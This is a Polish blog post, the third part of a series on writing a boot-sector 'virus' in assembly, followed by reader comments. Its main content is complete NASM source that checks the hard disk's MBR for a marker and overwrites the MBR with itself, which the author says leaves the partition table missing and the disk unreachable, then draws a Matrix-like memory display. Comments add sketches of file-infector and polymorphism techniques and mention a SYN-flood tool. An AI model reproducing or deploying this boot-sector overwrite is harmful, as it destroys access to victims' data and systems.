sobota, 30 maja 2009

ASM: pisanie własnego MBR cz.3

Przechodzimy już do końcowego etapu tworzenia naszego wirusa wygodnie zadamawiającego się w MBR. W poprzednich częściach opisany został schemat ideowy rozwiązania, oraz kod odpowiadający za efekt wizualny. Prosty efekt wizualny uzyskiwany przez prosty kod. W tej części napisany zostanie kod odpowiedzialny za instalację "wirusa" w MBR.

Osoby, które nie przeczytały poprzednich części, muszę zasmucić, gdyż grafika dodana na początek tego postu nie jest wynikiem działania wirusa. Taki efekt graficzny, moim skromnym zdaniem popartym nie tak wielkim doświadczeniem, wymaga więcej jak 512B kodu i danych. Oczywiście można napisać wirus korzystający z MBR i reszty dysku mogący stworzyć taki efekt, jednak to nie jest celem tego artykułu. Przypominam, że naszym celem jest kod wykorzystujący tylko MBR i pamięć, a więc w zasadzie nie robiący dużych szkód na dysku.

UWAGA!
Kod tu zamieszczony i jego opisy służą tylko i wyłącznie w celach edukacyjnych. Autor nie ponosi odpowiedzialności za niewłaściwe ich wykorzystanie, szczególnie niezgodne z prawem.

Skoro wyjaśniliśmy sobie już powyższe, to można przejść do sedna sprawy. Przypomnijmy, że nasz kod ma wykonać prosty algorytm zawierający tylko 3 operacje na najwyższym poziomie abstrakcji.
  1. sprawdź czy program jest zainstalowany
  2. zainstaluj program
  3. wyświetl zawartość pamięci
  4. powrót do 3.
W tej części zajmiemy się dwoma pierwszymi funkcjami. Są one stosunkowo proste, ale znacznie rozszerzają cały projekt. W zasadzie rozszerzają go na tyle i wprowadzają nieco nowej wiedzy na temat budowy MBR w systemach Windows, że można każdej z nich poświęcić oddzielną część. Aby się nie zanudzić nie będziemy tego jednak robić.

Rozpoznaj siebie

W systemach windows na dysku w MBR znajduje się struktura pozwalająca na odczytanie znacznej ilości informacji na temat struktury logicznej dysku. W strukturze tej znajduje się na przykład nazwa systemu, czy etykieta dysku. Aby sprawdzić, czy na maszynie zainstalowany jest nasz "wirus" najlepiej będzie posłużyć się właśnie tą strukturą. Użyjemy pola, które znajduje się na początku i zawiera nazwę systemu.

      brINT13Flag     DB      90H             ; 0002h - 0EH for INT13 AH=42 READ
      brOEM           DB      \'?       \'      ; 0003h - OEM ID - Windows 95B

      brBPS           DW      512             ; 000Bh - Bytes per sector
      brSPC           DB      8               ; 000Dh - Sector per cluster

      brResCount      DW      32              ; 000Eh - Reserved sectors
      brFATs          DB      2               ; 0010h - FAT copies
      brRootEntries   DW      0               ; 0011h - Root directory entries

      brSectorCount   DW      0               ; 0013h - Sectors in volume, < 32MB
      brMedia         DB      0F8H            ; 0015h - Media descriptor

      brSPF           DW      0               ; 0016h - Sectors per FAT
      brSPH           DW      63              ; 0018h - Sectors per head/track

      brHPC           DW      128             ; 001Ah - Heads per cylinder
      brHidden        DD      63              ; 001Ch - Hidden sectors

      brSectors       DD      6305985         ; 0020h - Total number of sectors
      brSPF32         DD      6153            ; 0024h - Sector per FAT (FAT32)

      brFlags         DW      0               ; 0028h - Flags (FAT32)
      brVersion       DW      0               ; 002Ah - FS Version (FAT32)

      brRootCluster   DD      2               ; 002Ch - Root start cluster (FAT32)
      brFSInfoSector  DW      1               ; 0030h - FS Info Sector (FAT32)

      brBackupBoot    DW      6               ; 0032h - Backup Boot Record
      brReserved              TIMES 6 db 0    ; 0038h - Reserved

      brShitter               TIMES 6 db 0    ; 003Bh - Unused filler??
      brDrive         DB      80H             ; 0040h - BIOS drive number

      brHeadTemp      DB      00H             ; 0041h - Head/temp number????
      brSignature     DB      29H             ; 0042h - Extended Boot Record sig.

      brSerialNum     DD      404418EAH       ; 0043h - Volume serial number
      brLabel         DB      \'HARDDISK   \'   ; 0047h - Volume label

      brFSID          DB      \'FAT32   \'      ; 0052h - File System ID

Pole ma wystarczyć na zapisanie 8 znaków ASCII. Jak dla nas wystarczy aby miało 1B. Warto wybrać na wpisanie tam jakiś znak, który raczej się nie pojawi normalnie. Ja postawiłem na znak '?'. W zasadzie, to nieco więcej elementów wskazuje w strukturze na niepoprawny MBR. Nie ma w nim informacji o dyskach logicznych, przez co cały dysk od tego momentu będzie uznawany za obszar niesformatowany.

Zastosowanie całej struktury w tym przypadku nie ma wcale tak wielkiego sensu. W zasadzie tylko 2 pola wystarczą. 2 pierwsze pola. Można jednak rozszerzyć w przyszłości ten kod na tyle, aby kopiował główną część struktury z podstawowego MBR.

Czytamy z dysku

Aby móc sprawdzić obecność wirusa na dysku konieczne jest wczytanie MBR z dysku i porównanie jednego pola. Jak pamiętamy, do dyspozycji jest niemal cała pamięć operacyjna maszyny. W zasadzie miejsce do zapisania odczytanego MBR możemy wybrać dowolnie. jak pamiętamy sektor dla MBR znajduje się na samym początku dysku. Trzeba więc w odpowiedni sposób przygotować się do przerwania. Skorzystamy znowu z przerwania 13h z BIOS. Interesuje nas funkcja 02h. Dla funkcji przygotowujemy w:
  • ES:BX - adres bufora w pamieci
  • CS:DS - adres na dysku, ścieżka, głowica, sektor
Dla przerwania adres dyskowy danych trzeba upakować w rejestrach w nietypowy dość sposób. Polecam więc poczytać tutaj jak dokładnie to zrobić. Jako że czytamy z samego początku, nasze przygotowania są łatwe.

Przyjmujemy, że operacja czytania nie przyniosła nam żadnych błędów, była poprawnie zapisana i poprawnie przebiegła. W zasadzie, to jeśli nie, to co mamy z tym zrobić? Oczywiście jeśli kod jest błędny, to poprawić, ale jeśli wina leży po stronie dysku, to jedyne co nam pozostaje, to pominąć czytanie, pominąć pisanie i przejść do właściwego działania. Można jeszcze spróbować ponownie czytać z dysku. Błąd tutaj nie powinien się raczej pojawić, a jeśli się pojawi, to i tak nic na to nie poradzimy.

      MOV CX,0001h        ;numer sciezki i sektora do czytania
      MOV DX,0080h        ;DH-glowica,DL-HDD, czytamy z pierwszego dysku twardego

      MOV BX,1000h
      MOV ES,BX
      XOR BX,BX
      MOV AX,0201h
      INT 13h             ;no to czytamy, przyjmujemy, ze nie bylo bledu

      
      MOV AH,BYTE [ES:BX+2]
      CMP AH,\'?\'
      JZ SHORT print_mem

Po przeczytaniu z dysku, trzeba tylko porównać znak w strukturze i skoczyć dalej do wykonania kodu w odpowiednim miejscu. Czyli jeśli nie natrafimy na znak '?'. To przechodzimy do instalacji.

Instalacja

Tutaj wszystko wygląda prosto. Nawet prościej niż przy sprawdzaniu, czy wirus jest już obecny w systemie. Przygotowujemy się do przerwania 13h, funkcja 03h i wykonujemy je. Dla testów można jeszcze wypisać na ekran w odpowiednim miejscu znak jakiś jeśli zapisaliśmy poprawnie sektor. Po wykonaniu przerwania informację taką przechowuje AL.

Gotowy kod

Czas pochwalić się gotowym kodem. Nie chce mi się opisywać wszystkiego nazbyt dokładnie. Obawiam się, że zaraz jakieś script kidies zaczną irytować się, że nie działa, albo zaraz cały ten kod z powodu używania trafi na czarne listy jako wstrętny wirus. Jak dobrze, że nie jest zdolny się mnożyć na tym poziomie. Tak więc poniżej kod całego wirusa.

Przypominam, bo nie każdy może zauważył, kody celowo zawierają drobne zmiany. Zmiany te wprowadzam dość automatycznie, ponieważ napisałem sobie skrypt pomagający mi opublikować kod z formatowaniem na blogu. Kodu nie da się skompilować od razu nie dlatego, że jest zły, tylko dlatego, że został zmieniony. Proszę odszukać "błędy", nanieść poprawki i miłej zabawy. Dla ciekawostki powiem, że tak samo jak błędy powstają automatycznie, tak też mogą być automatycznie usuwane. Powodzenia :).

    ;nasm -o bootsect.dos -f bin boot_vir.asm
    
    org 7c00h
    
    start:
      JMP SHORT cz_inst   ;skaczemy do poczatku kodu wlasciwego 

      
      brINT13Flag     DB      90H             ; 0002h - 0EH for INT13 AH=42 READ
      brOEM           DB      \'?       \'      ; 0003h - OEM ID - Windows 95B

      brBPS           DW      512             ; 000Bh - Bytes per sector
      brSPC           DB      8               ; 000Dh - Sector per cluster

      brResCount      DW      32              ; 000Eh - Reserved sectors
      brFATs          DB      2               ; 0010h - FAT copies
      brRootEntries   DW      0               ; 0011h - Root directory entries

      brSectorCount   DW      0               ; 0013h - Sectors in volume, < 32MB
      brMedia         DB      0F8H            ; 0015h - Media descriptor

      brSPF           DW      0               ; 0016h - Sectors per FAT
      brSPH           DW      63              ; 0018h - Sectors per head/track

      brHPC           DW      128             ; 001Ah - Heads per cylinder
      brHidden        DD      63              ; 001Ch - Hidden sectors

      brSectors       DD      6305985         ; 0020h - Total number of sectors
      brSPF32         DD      6153            ; 0024h - Sector per FAT (FAT32)

      brFlags         DW      0               ; 0028h - Flags (FAT32)
      brVersion       DW      0               ; 002Ah - FS Version (FAT32)

      brRootCluster   DD      2               ; 002Ch - Root start cluster (FAT32)
      brFSInfoSector  DW      1               ; 0030h - FS Info Sector (FAT32)

      brBackupBoot    DW      6               ; 0032h - Backup Boot Record
      brReserved              TIMES 6 db 0    ; 0038h - Reserved

      brShitter               TIMES 6 db 0    ; 003Bh - Unused filler??
      brDrive         DB      80H             ; 0040h - BIOS drive number

      brHeadTemp      DB      00H             ; 0041h - Head/temp number????
      brSignature     DB      29H             ; 0042h - Extended Boot Record sig.

      brSerialNum     DD      404418EAH       ; 0043h - Volume serial number
      brLabel         DB      \'HARDDISK   \'   ; 0047h - Volume label

      brFSID          DB      \'FAT32   \'      ; 0052h - File System ID

    cz_inst:
      MOV CX,0001h        ;numer sciezki i sektora do czytania

      MOV DX,0080h        ;DH-glowica,DL-HDD, czytamy z pierwszego dysku twardego
      MOV BX,1000h
      MOV ES,BX
      XOR BX,BX
      MOV AX,0201h
      INT 13h             ;no to czytamy, przyjmujemy, ze nie bylo bledu

      
      MOV AH,BYTE [ES:BX+2]
      CMP AH,\'?\'
      JZ SHORT print_mem
    instal:               ;instalacja wirusa do MBR
      XOR BX,BX

      MOV ES,BX
      MOV BX,start
      MOV CX,0001h        ;numer sciezki i sektora do czytania
      MOV DX,0080h        ;DH-glowica,DL-HDD, czytamy z pierwszego dysku twardego

      MOV AX,0301h
      INT 13h             ;no to zapisujemy, nie sprawdzamy czy byl blad.
    print_mem:            ;wlasciwe dzialanie \"wirusa\"

      XOR AX,AX
      MOV DS,AX
      MOV BX,0B800h       ;ustawiamy adres pamieci ekranu w BX
      MOV ES,BX           ;przenosimy go do ES

      XOR BX,BX
    start_print:
      PUSHA
      MOV CX,0FA0h
    move_ekran:           ;przesuniecie ekranu o 80 znakow od razu
      MOV BX,CX
      MOV AX,[ES:BX-50h]

      MOV [ES:BX],AX
      DEC CX
      LOOP move_ekran
    po_move_ekran:
      POPA
      PUSH CX             ;zachowujemy CX (sam nie wiem czy potrzebnie)

      MOV CX,0A0h
    start_load:
      MOV byte AL,[DS:BX] ;czytamy bajt z pamieci
      CMP AL,00h          ;sprawdzamy czy komorka zawiera 0, jesli tak wygenerujemy jakis znak aby bylo ladnie

      JNZ short po_random
    random:               ;stosunkowo prosty generator liczb losowych - nie byl matematycznie badany
      ADD DX,10111101B    ;powinien byc tez dosc szybki

      ADD DX,BX           ;dzieki dodawaniu adresu pamieci do niego, jego okres aperiodycznosci wydaje sie byc duzy
      ROR DX,04h

      MOV AL,DL
    po_random:
      MOV byte AH,0Ah
      PUSH BX
      MOV BX,0A0h
      SUB BX,CX
      MOV word [ES:BX],AX ;piszemy na ekran

      POP BX
      INC BX              ;przesuwamy sie po pamieci
      JNZ short dalej
      PUSH DS
      POP DX
      ADD DX,1000h        ;zmieniamy segment, ale tak, aby nie nachodzil na poprzedni

      PUSH DX
      POP DS
    dalej:
      DEC CX
      LOOP start_load
      POP CX
    wait_some:
      PUSHA               ;zachowujemy rejestry
      XOR CX,CX           ;licznik jest w CX:DX

      MOV DX,4586h        ;ustawiamy licznik na 17798(4586h) mikrosekund
      MOV AH,86h
      INT 15h             ;poczekajmy chwile aby animacja byla +/- plynna

      
      POPA                ;przywracamy stan rejestrow
      JMP short start_print
    
    times 510 - ($ - start) db 0    ; dope³nienie do 510 bajtów

    dw 0aa55h        ; znacznik

A tutaj jeszcze mały powrót do części pierwszej. Screen poniżej przedstawia menu przy starcie maszyny z dodanym "systemem" reprezentującym bootsector zapisany w pliku.


Przeczytaj:
ASM: pisanie własnego MBR cz.1
ASM: pisanie własnego MBR cz.2

Grafika pochodzi z Matrix code emulator

5 komentarzy:

  1. hyhyhy widze ze polowa programistow flirtuje od czasu do czasu z wirusami, sam tez sie kiedys tak bawilem.... mlody gniewny ;)

    OdpowiedzUsuń
  2. Bo wirusy obejmują tak szeroki zakres działań, że tworząc jakiś sporo można się dowiedzieć. Ja tworząc tego sporo nauczyłem się o MBR i tym co można w nim znaleźć w zależności od systemu. To nie pierwsze moje dzieło tego typu. Ale pierwsze tak sprawnie działające w ASM. Ten wirek jest też przy okazji wcale nie tak bardzo złośliwy. Przynajmniej nie umie się rozmnażać samodzielnie.

    OdpowiedzUsuń
  3. fakt ze mozna sie bardzo duzo nauczyc, ja na Twoim miejscu skupilbym sie na czyms innym troche: sproboj zrobic wirusa linkujacego sie do plikow, napisz sobie jakis scanner z lini polecen ktory by to twoje cudo wykrywal, a pozniej zastanow sie co zrobic zeby to wykrywanie utrudnic - niezla zabawa :D
    w moim przypadku powstal Virus Slayer I i II na amige- mozesz je znalezc tutaj: null-zero.com/archive

    dodatkowo nauczylem sie sporo o polimorfizmie wirusow, o technikach szybkiego linkowania do plikow a takze o infekcjach "w locie" podczas dostepu do katalogow. szkoda ze ta wiedza nie jest zbyt uzyteczna na windzie ;)

    OdpowiedzUsuń
  4. Linkowanie do plików... Najprostsza opcja, to dopisać kod wirusa do kodu aplikacji na jej końcu. Kiedyś takie rzeczy robiłem. Dawno, dawno to było. W przypadku tego kodu chodziło właśnie o poznanie MBR. Uznałem, że jest to podatność systemu Windows, że można dodać dowolny kod jako system operacyjny i jeszcze uniemożliwić użytkownikowi dostanie się do właściwego systemu. Normalnie programuję w języku Java i tam piszę różne kody. Jak na przykład skaner portów exploit SynFlood, albo inne takie. SynFlooder jest z resztą dostępny w moim blogu.

    OdpowiedzUsuń
  5. nie wiem jak na PC ale na amidze byly z tym klopoty - przede wszystkim dlatego ze pliki mialy struktury wewnetrzne ktore potrafily sie "rozjezdzac" podczas dodawania do nich "dodatkow". rozwiazywalo sie to tak, ze wirus przenosil poczatkowe X bajtow na koniec pliku, sam wrzucal sie na poczatek i cala reszte opakowywal w swoja strukture, a nastepnie specjalna procedura odbudowywala oryginalny plik przy uruchomieniu (tzw "wrap around").
    no ale to taki wyklad historyczny ;)

    OdpowiedzUsuń